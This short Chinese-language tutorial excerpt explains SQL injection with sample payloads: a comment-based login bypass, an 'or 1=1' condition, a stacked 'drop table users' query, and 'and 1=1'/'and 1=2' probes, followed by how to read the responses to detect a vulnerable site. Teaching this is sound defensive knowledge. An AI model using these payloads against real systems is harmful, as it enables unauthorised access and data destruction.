SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
输入:xxx’#
select * from tablename where user=‘xxx’# and pwd=‘yyy’
输入:xxx’;drop
table users#
输入:xxx’ or 1=1#
http://www.mytest.com/showdetail.asp?name=‘xxx’
SELECT * FROM tablename WHERE field = ‘?’
xxx
xxx’ and 1=1#
xxxx’ and 1=2#
1,输入:xxx
2,输入:xxx’ and 1=1#
3,输入:xxx’ and 1=2#
漏洞存在时:1,2,正常显示,3提示找不到内容或者空白或提示BOF,EOF
漏洞不存在是:1正常显示,2,3提示错误信息
Copyright 2011-2020 © MallocFree. All rights reserved.